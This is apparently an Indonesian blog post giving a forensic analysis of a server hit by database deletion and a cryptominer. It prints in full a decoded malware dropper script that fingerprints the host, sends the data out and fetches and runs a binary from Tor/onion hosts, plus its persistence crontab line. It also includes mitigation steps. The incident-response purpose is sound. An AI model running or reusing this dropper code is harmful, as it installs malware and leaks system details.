Setelah terjadi insiden “Drop Database” di salah satu server yang ada maka langkah pertamanya adalah melakukan Forensic tentang apa-apa saja yang sebenarnya terjadi pada server yang ada, berikut ini informasi server yang sedang saya lakukan Forensic
Dokumentasi Pribadi
Permasalahan utamanya adalah Hilangnya semua database yang ada, tidak ada file dari website yang terkena “Ransomware” . Langkah pertama yang penulis lakukan adalah melakukan analisa proses apa saja yang sedang berjalan di dalam server ini. Menggunakan perintah “htop” untuk melihat proses yang berjalan.
Dokumentasi Pribadi
Terlihat semua CPU 4 core berjalan 100% dan 4 proses dengan CPU terbesar adalah miner yang sedang berjalan. Mari lakukan penelusuran terhadap proses yang berjalan ini (PID 3938,3958,3960,3959) gunakan “strace -p 3938,3958,3960,3959)
Dokumentasi Pribadi
Beberapa syscall yang terpanggil dari proses yang dijalankan adalah sebagai berikut ini epoll_pwait,sched_yield karena tidak ada sesuatu yang menarik pada proses tersebut, maka penulis memutuskan mencari proses external yang dilakukan, misalnya dari server menuju server yang lain, karena asumsi awalnya miner ini harusnya melakukan komunikasi ke server yang lainnya, penulis lalu mengidentifikasi lebih lanjut proses di dalam semua PID yang terdeteksi
Dokumentasi Pribadi
Terlihat terdapat sebuah binary yang berada di “/var/lib/postgres/cc” yang itu adalah binary miner yang sedang berjalan dan sudah dihapus ditandai dengan (deleted)*. Lalu didapatkan ip yang terhubung ke sebuah server yaitu 99.90.243.136, yang mana IP ini sudah terdeteksi sebelumnya oleh AlienVault pada tautan ini. Karena yakin tidak hanya terdapat satu IP maka penulis menggunakan command “netstat -ptun | grep ‘malware’”
Dokumentasi Pribadi
Dan benar saja, memang terjadi proses komunikasi dari server lokal ke ip “136.243.90.99:443” dan informasi detail tentang server tersebut adalah sebagai berikut ini
Dokumentasi Pribadi
Dokumentasi Pribadi
Server yang berjalan di atas Miner berada di Amerika tepatnya di Oklahoma dan server yang berkomunikasi sebelumnya adalah di negara Jerman dan berada di kota Mannheim. Setelah semua ini? Yang paling menarik adalah, bagaimana miner ini bisa bekerja di mana scriptnya tersimpan dan seperti apa bentuknya, script miner generator terdapat di “$HOME/.systemd-private-{random}.sh” dan isinya adalah seperti berikut ini kurang lebihnya.
Dokumentasi Pribadi
Shell script di atas di-encode menggunakan base64, lakukan decode dan mulai menganalisa apa saja yang dilakukan oleh script tersebut.
nyEbqBSgyPqxf33uUBdqScoqBotOL1z
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "i62hmnztfpzwrhjg34m6ruxem5oe36nulzmxcgbdbkiaceubprkta7ad")
sockz() {
n=(dns.twnic.tw doh-ch.blahdns.com doh-de.blahdns.com doh-fi.blahdns.com doh-jp.blahdns.com doh.li doh.pub doh-sg.blahdns.com fi.doh.dns.snopyta.org hydra.plan9-ns1.com)
p=$(echo "dns-query?name=relay.tor2socks.in")
q=${n[$((RANDOM%${#n[@]}))]}
s=$($c https://$q/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|tail -1)
}
fexe() {
for i in . $HOME /usr/bin $d /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
}
u() {
sockz
f=/int.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-)
r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)
$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r
chmod +x $x;$x;rm -f $x
}
for h in tor2web.in tor2web.it
do
if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then
fexe;u $t.$h
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h)
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h)
else
break
fi
done
Dokumentasi Pribadi
Mari melakukan bedah script malware ini, dimulai dari 3 baris pertama yang melakukan pendefinisian variabel
d = $(grep x: $(id - u): /etc/passwd | cut - d: -f6)
c = $(echo "curl -4fsSLkA- -m200")
t = $(echo "i62hmnztfpzwrhjg34m6ruxem5oe36nulzmxcgbdbkiaceubprkta7ad")
variabel d
harusnya hanya mengembalikan nilai yang sama dengan nilai $HOME, lalu variable c
hanya berisi awalan perintah curl
saja dan variabel t
adalah string random saja, namun sangat berguna.
sockz() {
n = (dns.twnic.tw doh - ch.blahdns.com doh - de.blahdns.com doh - fi.blahdns.com doh - jp.blahdns.com doh.li doh.pub doh - sg.blahdns.com fi.doh.dns.snopyta.org hydra.plan9 - ns1.com)
p = $(echo "dns-query?name=relay.tor2socks.in")
q = $ {n[$((RANDOM % $ {#n[@]}))]}
s = $($c https: //$q/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|tail -1)
}
Fungsi sockz
akan mengembalikan nilai terakhir s
yang berisi sebuah URL, dari awal pembuatan variabel n
yang berisi sebuah daftar DNS yang akan diambil secara acak, lalu variable p
berisi sebuah query dan variabel q
berisi sebuah salah satu DNS random. variable s
terakhir harusnya berbentuk seperti berikut ini
curl -4fsSLkA- -m200 https://dns.twnic.tw/dns-query?name=relay.tor2socks.in
Dan jika dijalankan akan mendapatkan hasil seperti berikut ini
{
"Status": 0,
"TC": false,
"RD": true,
"RA": true,
"AD": false,
"CD": false,
"Question": [{
"name": "relay.tor2socks.in.",
"type": 1
}],
"Answer": [{
"name": "relay.tor2socks.in.",
"type": 1,
"TTL": 7,
"Expires": "Wed, 15 Jun 2022 07:05:38 UTC",
"data": "65.21.186.220"
}, {
"name": "relay.tor2socks.in.",
"type": 1,
"TTL": 7,
"Expires": "Wed, 15 Jun 2022 07:05:38 UTC",
"data": "116.203.203.60"
}, {
"name": "relay.tor2socks.in.",
"type": 1,
"TTL": 7,
"Expires": "Wed, 15 Jun 2022 07:05:38 UTC",
"data": "162.55.173.75"
}, {
"name": "relay.tor2socks.in.",
"type": 1,
"TTL": 7,
"Expires": "Wed, 15 Jun 2022 07:05:38 UTC",
"data": "141.95.86.243"
}, {
"name": "relay.tor2socks.in.",
"type": 1,
"TTL": 7,
"Expires": "Wed, 15 Jun 2022 07:05:38 UTC",
"data": "65.21.241.35"
}],
"edns_client_subnet": "103.139.25.0/0"
}
Namun setelah curl dijalankan, akan dilakukan pipe untuk menjalankan perintah seperti berikut ini
curl -4fsSLkA- -m200 | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|tail -1
Perintah pipeline setelah curl hanya mencari ip saja di salah satu respons dari semua daftar DNS.
Dokumentasi Pribadi
fexe() {
for i in . $HOME /usr/bin $d /var/tmp ;
do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i &&
break;
done
}
Lanjut ke potongan kode selanjutnya, fexe
adalah sebuah potongan kode yang melakukan eksekusi looping untuk mencari dan menghapus sebuah file pada direktori yang sudah ditentukan here
,$HOME
, /usr/bin
dan /var/tmp
. Lanjut ke fungsi download malware yang sedikit kompleks.
u() {
sockz
f=/int.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-)
r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)
$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r
chmod +x $x;$x;rm -f $x
}
variabel f
berisi string yang bentuknya akan seperti ini “/int.x86_64” berfungsi untuk melakukan download binary yang 32 / 64 bit, lalu variabel x
adalah sebuah string random dari JAM SEKARANG, yang di-hash menggunakan md5, seperti berikut ini adalah contohnya “./e3d624d2639b165ca51a83d6020b5025” variabel r
adalah variabel identifikasi yang mana fungsinya untuk di-pass ke dalam referer header http saat proses download, contohna akan seperti ini “IPPUBLICS_root_x86_64_HOSTNAME_4339859c7c65f40233ac582f6f2c5279_IzUzICogKiAqICogL3Jvb3QvLnN5c3RlbWQtcHJpdmF0ZS1ueUVicUJTZ3lQcXhmMzN1VUJkcVNjb3FCb3RPTDF6LnNoID4gL2Rldi9udWxsIDI+JjEgJgo=”
lalu script utama untuk melakukan pengunduhan adalah seperti berikut ini
$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r
Dan jika diterjemahkan akan menjadi seperti berikut ini
curl -4fsSLkA- -m200 -x socks5h://HASILIP:9050 i62hmnztfpzwrhjg34m6ruxem5oe36nulzmxcgbdbkiaceubprkta7ad.onion/int.x86_64 -o ./e3d624d2639b165ca51a83d6020b5025 -e IPPUBLICS_root_x86_64_HOSTNAME_4339859c7c65f40233ac582f6f2c5279_IzUzICogKiAqICogL3Jvb3QvLnN5c3RlbWQtcHJpdmF0ZS1ueUVicUJTZ3lQcXhmMzN1VUJkcVNjb3FCb3RPTDF6LnNoID4gL2Rldi9udWxsIDI+JjEgJgo= || curl -4fsSLkA- -m200 nyEbqBSgyPqxf33uUBdqScoqBotOL1z.oniont//int.x86_64 -o ./e3d624d2639b165ca51a83d6020b5025 -e IPPUBLICS_root_x86_64_HOSTNAME_4339859c7c65f40233ac582f6f2c5279_IzUzICogKiAqICogL3Jvb3QvLnN5c3RlbWQtcHJpdmF0ZS1ueUVicUJTZ3lQcXhmMzN1VUJkcVNjb3FCb3RPTDF6LnNoID4gL2Rldi9udWxsIDI+JjEgJgo=
Setelah melakukan pengunduhan binary, maka dilakukan eksekusi seperti berikut ini
chmod +x $x;$x;rm -f $x
Binary di-set menjadi executable lalu dijalankan setelah itu binary langsung dihapus dari server. Yang menarik lagi pada semua proses ini adalah, dilakukan penulisan crontab secara paksa seperti berikut ini contoh yang ada.
9 * * * * /var/lib/postgresql/.systemd-private-OVdvIK7HzZbx7nK7AmFM2aBaJXMKnf.sh > /dev/null 2>&1 &
Langkah-langkah mitigasi, pertama bunuh semua proses malware mining yang ada, lakukan restart, hapus semua crontab yang tidak penting, hapus script malware generator yang ada. Dan yang paling penting, lakukanlah blocking address malware di level jaringan, penulis melakukan block pada level mikrotik seperti berikut ini contohnya.
Dokumentasi Pribadi
Terima kasih telah membaca, semoga tulisan saya bermanfaat dan dapat membantu yang sedang membutuhkan.